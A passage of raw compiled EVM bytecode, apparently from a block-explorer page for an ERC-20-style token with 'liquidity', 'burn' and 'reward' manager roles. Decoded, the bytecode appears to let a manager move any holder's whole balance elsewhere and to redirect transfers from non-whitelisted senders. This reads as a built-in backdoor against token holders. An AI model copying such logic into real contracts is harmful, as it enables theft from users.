62000b6a8162000a20565b62000b758462000a32565b8101602085101562000b85578190505b62000b9d62000b948562000a32565b83018262000b2f565b50505b505050565b5f82821c905092915050565b5f62000bc25f198460080262000ba5565b1980831691505092915050565b5f62000bdc838362000bb1565b9150826002028217905092915050565b62000bf782620009b5565b67ffffffffffffffff81111562000c135762000c12620007e5565b5b62000c1f8254620009ec565b62000c2c82828562000b55565b5f60209050601f83116001811462000c62575f841562000c4d578287015190505b62000c59858262000bcf565b86555062000cc8565b601f19841662000c728662000a20565b5f5b8281101562000c9b5784890151825560018201915060208501945060208101905062000c74565b8683101562000cbb578489015162000cb7601f89168262000bb1565b8355505b6001600288020188555050505b505050505050565b62000cdb816200078f565b82525050565b5f60208201905062000cf65f83018462000cd0565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000d865780860481111562000d5e5762000d5d62000cfc565b5b600185161562000d6e5780820291505b808102905062000d7e8562000d29565b945062000d3e565b94509492505050565b5f8262000da0576001905062000e72565b8162000daf575f905062000e72565b816001811462000dc8576002811462000dd35762000e09565b600191505062000e72565b60ff84111562000de85762000de762000cfc565b5b8360020a91508482111562000e025762000e0162000cfc565b5b5062000e72565b5060208310610133831016604e8410600b841016171562000e435782820a90508381111562000e3d5762000e3c62000cfc565b5b62000e72565b62000e52848484600162000d35565b9250905081840481111562000e6c5762000e6b62000cfc565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000e918262000aa2565b915062000e9e8362000e79565b925062000ecd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000d8f565b905092915050565b5f62000ee18262000aa2565b915062000eee8362000aa2565b925082820262000efe8162000aa2565b9150828204841483151762000f185762000f1762000cfc565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f62000f588262000aa2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362000f8d5762000f8c62000cfc565b5b600182019050919050565b5f62000fa48262000aa2565b915062000fb18362000aa2565b925082820190508082111562000fcc5762000fcb62000cfc565b5b92915050565b62000fdd8162000aa2565b82525050565b5f60608201905062000ff85f83018662000cd0565b62001007602083018562000fd2565b62001016604083018462000fd2565b949350505050565b5f602082019050620010335f83018462000fd2565b92915050565b611cd980620010475f395ff3fe608060405234801561000f575f80fd5b506004361061012a575f3560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610308578063b933ceac14610338578063dd62ed3e14610354578063f2fde38b14610384578063ff0b8466146103a05761012a565b806370a0823114610276578063715018a6146102a65780638da5cb5b146102b057806395d89b41146102ce578063a3bdc189146102ec5761012a565b806326f65a17116100f257806326f65a17146101e657806327fc84a314610202578063313ce5671461021e57806341ed81b51461023c578063665a11ca146102585761012a565b8063018770201461012e57806306fdde031461014a578063095ea7b31461016857806318160ddd1461019857806323b872dd146101b6575b5f80fd5b61014860048036038101906101439190611628565b6103be565b005b6101526104cd565b60405161015f91906116dd565b60405180910390f35b610182600480360381019061017d9190611730565b61055d565b60405161018f9190611788565b60405180910390f35b6101a061057f565b6040516101ad91906117b0565b60405180910390f35b6101d060048036038101906101cb91906117c9565b610588565b6040516101dd9190611788565b60405180910390f35b61020060048036038101906101fb9190611628565b6106a7565b005b61021c60048036038101906102179190611819565b610753565b005b61022661089f565b6040516102339190611872565b60405180910390f35b61025660048036038101906102519190611628565b6108a7565b005b610260610953565b60405161026d919061189a565b60405180910390f35b610290600480360381019061028b9190611628565b610978565b60405161029d91906117b0565b60405180910390f35b6102ae6109bd565b005b6102b86109d0565b6040516102c5919061189a565b60405180910390f35b6102d66109f8565b6040516102e391906116dd565b60405180910390f35b61030660048036038101906103019190611628565b610a88565b005b610322600480360381019061031d9190611730565b610b34565b60405161032f9190611788565b60405180910390f35b610352600480360381019061034d9190611730565b610c5e565b005b61036e60048036038101906103699190611819565b610cf5565b60405161037b91906117b0565b60405180910390f35b61039e60048036038101906103999190611628565b610d77565b005b6103a8610dfb565b6040516103b5919061189a565b60405180910390f35b60085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043e90611923565b60405180910390fd5b80600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fe57f71636571365571c0eaeaeb54e1d9e0065804f056a57a2a29448524f7d18a60405160405180910390a250565b6060600380546104dc9061196e565b80601f01602080910402602001604051908101604052809291908181526020018280546105089061196e565b80156105535780601f1061052a57610100808354040283529160200191610553565b820191905f5260205f20905b81548152906001019060200180831161053657829003601f168201915b5050505050905090565b5f80610567610e20565b9050610574818585610e27565b600191505092915050565b5f600254905090565b5f600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610692576106038460095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e39565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f290a5f48618f2eb4bc66270104318b0010afd7dd5155cb988d951203b0ff67358460405161068191906117b0565b60405180910390a3600190506106a0565b61069d848484610f29565b90505b9392505050565b6106af610f57565b600160065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610748906119e8565b60405180910390a250565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166107dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d390611a50565b60405180910390fd5b5f6107e683610978565b90505f811161082a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082190611ab8565b60405180910390fd5b610835838383610e39565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d8360405161089291906117b0565b60405180910390a3505050565b5f6012905090565b6108af610f57565b600160085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a860405161094890611b20565b60405180910390a250565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109c5610f57565b6109ce5f610fde565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a079061196e565b80601f0160208091040260200160405190810160405280929190818152602001828054610a339061196e565b8015610a7e5780601f10610a5557610100808354040283529160200191610a7e565b820191905f5260205f20905b815481529060010190602001808311610a6157829003601f168201915b5050505050905090565b610a90610f57565b600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610b2990611b88565b60405180910390a250565b5f80610b3e610e20565b9050600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610c4a57610bba8160095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610e39565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f290a5f48618f2eb4bc66270104318b0010afd7dd5155cb988d951203b0ff673585604051610c3891906117b0565b60405180910390a36001915050610c58565b610c5484846110a1565b9150505b92915050565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cde90611bf0565b60405180910390fd5b610cf182826110c3565b5050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610d7f610f57565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610def575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610de6919061189a565b60405180910390fd5b610df881610fde565b50565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b610e3483838360016110d1565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ea9575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610ea0919061189a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f19575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f10919061189a565b60405180910390fd5b610f248383836112a0565b505050565b5f80610f33610e20565b9050610f408582856114b9565b610f4b858585610e39565b60019150509392505050565b610f5f610e20565b73ffffffffffffffffffffffffffffffffffffffff16610f7d6109d0565b73ffffffffffffffffffffffffffffffffffffffff1614610fdc57610fa0610e20565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610fd3919061189a565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f806110ab610e20565b90506110b8818585610e39565b600191505092915050565b6110cd828261154b565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611141575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611138919061189a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111b1575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016111a8919061189a565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561129a578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161129191906117b0565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112f0578060025f8282546112e49190611c3b565b925050819055506113be565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611379578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161137093929190611c6e565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611405578060025f828254039250508190555061144f565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114ac91906117b0565b60405180910390a3505050565b5f6114c48484610cf5565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146115455781811015611536578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161152d93929190611c6e565b60405180910390fd5b61154484848484035f6110d1565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115bb575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016115b2919061189a565b60405180910390fd5b6115c65f83836112a0565b5050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115f7826115ce565b9050919050565b611607816115ed565b8114611611575f80fd5b50565b5f81359050611622816115fe565b92915050565b5f6020828403121561163d5761163c6115ca565b5b5f61164a84828501611614565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561168a57808201518184015260208101905061166f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116af82611653565b6116b9818561165d565b93506116c981856020860161166d565b6116d281611695565b840191505092915050565b5f6020820190508181035f8301526116f581846116a5565b905092915050565b5f819050919050565b61170f816116fd565b8114611719575f80fd5b50565b5f8135905061172a81611706565b92915050565b5f8060408385031215611746576117456115ca565b5b5f61175385828601611614565b92505060206117648582860161171c565b9150509250929050565b5f8115159050919050565b6117828161176e565b82525050565b5f60208201905061179b5f830184611779565b92915050565b6117aa816116fd565b82525050565b5f6020820190506117c35f8301846117a1565b92915050565b5f805f606084860312156117e0576117df6115ca565b5b5f6117ed86828701611614565b93505060206117fe86828701611614565b925050604061180f8682870161171c565b9150509250925092565b5f806040838503121561182f5761182e6115ca565b5b5f61183c85828601611614565b925050602061184d85828601611614565b9150509250929050565b5f60ff82169050919050565b61186c81611857565b82525050565b5f6020820190506118855f830184611863565b92915050565b611894816115ed565b82525050565b5f6020820190506118ad5f83018461188b565b92915050565b7f43616c6c6572206973206e6f742061206c6971756964697479206d616e6167655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f61190d60218361165d565b9150611918826118b3565b604082019050919050565b5f6020820190508181035f83015261193a81611901565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061198557607f821691505b60208210810361199857611997611941565b5b50919050565b7f5265776172644d616e61676572000000000000000000000000000000000000005f82015250565b5f6119d2600d8361165d565b91506119dd8261199e565b602082019050919050565b5f6020820190508181035f8301526119ff816119c6565b9050919050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f611a3a601c8361165d565b9150611a4582611a06565b602082019050919050565b5f6020820190508181035f830152611a6781611a2e565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f611aa260158361165d565b9150611aad82611a6e565b602082019050919050565b5f6020820190508181035f830152611acf81611a96565b9050919050565b7f4c69717569646974794d616e61676572000000000000000000000000000000005f82015250565b5f611b0a60108361165d565b9150611b1582611ad6565b602082019050919050565b5f6020820190508181035f830152611b3781611afe565b9050919050565b7f4275726e4d616e616765720000000000000000000000000000000000000000005f82015250565b5f611b72600b8361165d565b9150611b7d82611b3e565b602082019050919050565b5f6020820190508181035f830152611b9f81611b66565b9050919050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f611bda601e8361165d565b9150611be582611ba6565b602082019050919050565b5f6020820190508181035f830152611c0781611bce565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611c45826116fd565b9150611c50836116fd565b9250828201905080821115611c6857611c67611c0e565b5b92915050565b5f606082019050611c815f83018661188b565b611c8e60208301856117a1565b611c9b60408301846117a1565b94935050505056fea26469706673582212205d91abfff54559f7e90cd823d1e3e6e98c75f8833f3f5c5a3932ac9553177f5564736f6c6343000814003300000000000000000000000074b220d3cf9644047c3eaca64894712023dec9b5000000000000000000000000000000000000000000000000000000000000dead0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000074b220d3cf9644047c3eaca64894712023dec9b5
Deployed Bytecode
0x608060405234801561000f575f80fd5b506004361061012a575f3560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610308578063b933ceac14610338578063dd62ed3e14610354578063f2fde38b14610384578063ff0b8466146103a05761012a565b806370a0823114610276578063715018a6146102a65780638da5cb5b146102b057806395d89b41146102ce578063a3bdc189146102ec5761012a565b806326f65a17116100f257806326f65a17146101e657806327fc84a314610202578063313ce5671461021e57806341ed81b51461023c578063665a11ca146102585761012a565b8063018770201461012e57806306fdde031461014a578063095ea7b31461016857806318160ddd1461019857806323b872dd146101b6575b5f80fd5b61014860048036038101906101439190611628565b6103be565b005b6101526104cd565b60405161015f91906116dd565b60405180910390f35b610182600480360381019061017d9190611730565b61055d565b60405161018f9190611788565b60405180910390f35b6101a061057f565b6040516101ad91906117b0565b60405180910390f35b6101d060048036038101906101cb91906117c9565b610588565b6040516101dd9190611788565b60405180910390f35b61020060048036038101906101fb9190611628565b6106a7565b005b61021c60048036038101906102179190611819565b610753565b005b61022661089f565b6040516102339190611872565b60405180910390f35b61025660048036038101906102519190611628565b6108a7565b005b610260610953565b60405161026d919061189a565b60405180910390f35b610290600480360381019061028b9190611628565b610978565b60405161029d91906117b0565b60405180910390f35b6102ae6109bd565b005b6102b86109d0565b6040516102c5919061189a565b60405180910390f35b6102d66109f8565b6040516102e391906116dd565b60405180910390f35b61030660048036038101906103019190611628565b610a88565b005b610322600480360381019061031d9190611730565b610b34565b60405161032f9190611788565b60405180910390f35b610352600480360381019061034d9190611730565b610c5e565b005b61036e60048036038101906103699190611819565b610cf5565b60405161037b91906117b0565b60405180910390f35b61039e60048036038101906103999190611628565b610d77565b005b6103a8610dfb565b6040516103b5919061189a565b60405180910390f35b60085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043e90611923565b60405180910390fd5b80600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fe57f71636571365571c0eaeaeb54e1d9e0065804f056a57a2a29448524f7d18a60405160405180910390a250565b6060600380546104dc9061196e565b80601f01602080910402602001604051908101604052809291908181526020018280546105089061196e565b80156105535780601f1061052a57610100808354040283529160200191610553565b820191905f5260205f20905b81548152906001019060200180831161053657829003601f168201915b5050505050905090565b5f80610567610e20565b9050610574818585610e27565b600191505092915050565b5f600254905090565b5f600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610692576106038460095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e39565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f290a5f48618f2eb4bc66270104318b0010afd7dd5155cb988d951203b0ff67358460405161068191906117b0565b60405180910390a3600190506106a0565b61069d848484610f29565b90505b9392505050565b6106af610f57565b600160065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610748906119e8565b60405180910390a250565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166107dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d390611a50565b60405180910390fd5b5f6107e683610978565b90505f811161082a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082190611ab8565b60405180910390fd5b610835838383610e39565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d8360405161089291906117b0565b60405180910390a3505050565b5f6012905090565b6108af610f57565b600160085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a860405161094890611b20565b60405180910390a250565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109c5610f57565b6109ce5f610fde565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a079061196e565b80601f0160208091040260200160405190810160405280929190818152602001828054610a339061196e565b8015610a7e5780601f10610a5557610100808354040283529160200191610a7e565b820191905f5260205f20905b815481529060010190602001808311610a6157829003601f168201915b5050505050905090565b610a90610f57565b600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fb710f7d3e79cb091613cfea70444ea824ad23f2b1297bdea427bc6f097e346a8604051610b2990611b88565b60405180910390a250565b5f80610b3e610e20565b9050600b5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610c4a57610bba8160095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610e39565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f290a5f48618f2eb4bc66270104318b0010afd7dd5155cb988d951203b0ff673585604051610c3891906117b0565b60405180910390a36001915050610c58565b610c5484846110a1565b9150505b92915050565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cde90611bf0565b60405180910390fd5b610cf182826110c3565b5050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610d7f610f57565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610def575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610de6919061189a565b60405180910390fd5b610df881610fde565b50565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b610e3483838360016110d1565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ea9575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610ea0919061189a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f19575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f10919061189a565b60405180910390fd5b610f248383836112a0565b505050565b5f80610f33610e20565b9050610f408582856114b9565b610f4b858585610e39565b60019150509392505050565b610f5f610e20565b73ffffffffffffffffffffffffffffffffffffffff16610f7d6109d0565b73ffffffffffffffffffffffffffffffffffffffff1614610fdc57610fa0610e20565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610fd3919061189a565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f806110ab610e20565b90506110b8818585610e39565b600191505092915050565b6110cd828261154b565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611141575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611138919061189a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111b1575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016111a8919061189a565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561129a578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161129191906117b0565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112f0578060025f8282546112e49190611c3b565b925050819055506113be565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611379578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161137093929190611c6e565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611405578060025f828254039250508190555061144f565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114ac91906117b0565b60405180910390a3505050565b5f6114c48484610cf5565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146115455781811015611536578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161152d93929190611c6e565b60405180910390fd5b61154484848484035f6110d1565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115bb575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016115b2919061189a565b60405180910390fd5b6115c65f83836112a0565b5050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115f7826115ce565b9050919050565b611607816115ed565b8114611611575f80fd5b50565b5f81359050611622816115fe565b92915050565b5f6020828403121561163d5761163c6115ca565b5b5f61164a84828501611614565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561168a57808201518184015260208101905061166f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116af82611653565b6116b9818561165d565b93506116c981856020860161166d565b6116d281611695565b840191505092915050565b5f6020820190508181035f8301526116f581846116a5565b905092915050565b5f819050919050565b61170f816116fd565b8114611719575f80fd5b50565b5f8135905061172a81611706565b92915050565b5f8060408385031215611746576117456115ca565b5b5f61175385828601611614565b92505060206117648582860161171c565b9150509250929050565b5f8115159050919050565b6117828161176e565b82525050565b5f60208201905061179b5f830184611779565b92915050565b6117aa816116fd565b82525050565b5f6020820190506117c35f8301846117a1565b92915050565b5f805f606084860312156117e0576117df6115ca565b5b5f6117ed86828701611614565b93505060206117fe86828701611614565b925050604061180f8682870161171c565b9150509250925092565b5f806040838503121561182f5761182e6115ca565b5b5f61183c85828601611614565b925050602061184d85828601611614565b9150509250929050565b5f60ff82169050919050565b61186c81611857565b82525050565b5f6020820190506118855f830184611863565b92915050565b611894816115ed565b82525050565b5f6020820190506118ad5f83018461188b565b92915050565b7f43616c6c6572206973206e6f742061206c6971756964697479206d616e6167655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f61190d60218361165d565b9150611918826118b3565b604082019050919050565b5f6020820190508181035f83015261193a81611901565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061198557607f821691505b60208210810361199857611997611941565b5b50919050565b7f5265776172644d616e61676572000000000000000000000000000000000000005f82015250565b5f6119d2600d8361165d565b91506119dd8261199e565b602082019050919050565b5f6020820190508181035f8301526119ff816119c6565b9050919050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f611a3a601c8361165d565b9150611a4582611a06565b602082019050919050565b5f6020820190508181035f830152611a6781611a2e565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f611aa260158361165d565b9150611aad82611a6e565b602082019050919050565b5f6020820190508181035f830152611acf81611a96565b9050919050565b7f4c69717569646974794d616e61676572000000000000000000000000000000005f82015250565b5f611b0a60108361165d565b9150611b1582611ad6565b602082019050919050565b5f6020820190508181035f830152611b3781611afe565b9050919050565b7f4275726e4d616e616765720000000000000000000000000000000000000000005f82015250565b5f611b72600b8361165d565b9150611b7d82611b3e565b602082019050919050565b5f6020820190508181035f830152611b9f81611b66565b9050919050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f611bda601e8361165d565b9150611be582611ba6565b602082019050919050565b5f6020820190508181035f830152611c0781611bce565b9050919050565b7f4e487b7100000000000000000000000000000000000000